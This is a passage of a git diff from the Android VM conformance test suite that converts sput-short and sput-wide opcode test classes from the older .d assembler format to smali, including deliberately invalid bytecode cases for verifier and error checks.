+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-short v1, Ldot/junit/opcodes/sput_short/TestStubs;->TestStubField:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.d
deleted file mode 100644
index d5aa82f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_9.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_9
-.super java/lang/Object
-
-.field public st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_9noclass.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.smali
new file mode 100644
index 0000000..59ea7b7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_9.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_9noclass;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_1.smali
new file mode 100644
index 0000000..ef194f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_1.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;
+.super Ljava/lang/Object;
+.source "T_sput_wide_1.java"
+
+
+# static fields
+.field public static st_i1:J
+
+.field protected static st_p1:J
+
+.field private static st_pvt1:J
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static getPvtField()J
+    .registers 2
+
+    sget-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;->st_pvt1:J
+
+    return-wide v0
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide v1, 0xb55a014129L
+
+    sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;->st_i1:J
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.d
deleted file mode 100644
index 65a6012..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_10.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_10
-.super java/lang/Object
-
-.field public st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 1
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_10.st_i1N J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.smali
new file mode 100644
index 0000000..3ee11b4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_10.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 1
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_10;->st_i1N:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.d
deleted file mode 100644
index 7cf07a0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_11.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 1
-       sput-wide v1, dot.junit.opcodes.sput_wide.TestStubs.TestStubFieldFinal J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.smali
new file mode 100644
index 0000000..98bbc60
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_11.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 1
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/TestStubs;->TestStubFieldFinal:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.d
deleted file mode 100644
index 23fc53b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_12.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_12
-.super java/lang/Object
-
-.field public static final st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 77
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_12.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.smali
new file mode 100644
index 0000000..f104680
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_12.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 77
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_12;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.java
index ab71754..21780d8 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput_wide.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static long value = (long)(5 / 0); 
 }
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.smalis/JtubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.smalis/JtubInitError.smali
new file mode 100644
index 0000000..67d6a33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.smalis/JtubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_wide/d/JtubInitError;
+.super Ljava/lang/Object;
+.source "JtubInitError.java"
+
+
+# static fields
+.field public static value:J
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    int-to-long v0, v0
+
+    sput-wide v0, Ldot/junit/opcodes/sput_wide/d/JtubInitError;->value:J
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.smalis/T_sput_wide_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.smalis/T_sput_wide_13.smali
new file mode 100644
index 0000000..d770ca5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.smalis/T_sput_wide_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_13;
+.super Ljava/lang/Object;
+.source "T_sput_wide_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide v1, 0x1
+
+    sput-wide v1, Ldot/junit/opcodes/sput_wide/d/JtubInitError;->value:J
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.d
deleted file mode 100644
index 38d5ed5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_14.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_14
-.super dot/junit/opcodes/sput_wide/d/T_sput_wide_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_wide/d/T_sput_wide_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()J
-.limit regs 2
-
-       sget-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_1.st_p1 J
-       return-wide v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 77
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_1.st_p1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.smali
new file mode 100644
index 0000000..5809245
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_14.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_14;
+.super  Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()J
+.registers 2
+
+       sget-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;->st_p1:J
+       return-wide v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 77
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;->st_p1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.d
deleted file mode 100644
index 88531b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_15.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_15
-.super dot/junit/opcodes/sput_wide/d/T_sput_wide_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_wide/d/T_sput_wide_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 1
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_1.st_pvt1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.smali
new file mode 100644
index 0000000..001f6e15
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_15.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_15;
+.super  Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 1
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;->st_pvt1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.d
deleted file mode 100644
index ab57cb7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_17.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_17
-.super java/lang/Object
-
-.field public static st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 1
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_17.st_i1 J
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.smali
new file mode 100644
index 0000000..f161d5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_17.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 1
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_17;->st_i1:J
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_18.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_18.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_18.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_18.smali
new file mode 100644
index 0000000..5de12cef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_18.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_18;
+.super Ljava/lang/Object;
+.source "T_sput_wide_18.java"
+
+
+# static fields
+.field public static st_i1:F
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x3f800000    # 1.0f
+
+    sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_18;->st_i1:F
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.d
deleted file mode 100644
index 84b5622..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_2.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_2
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_4.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.smali
new file mode 100644
index 0000000..0afb094
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_2.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_4;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_20.d.done
similarity index 100%
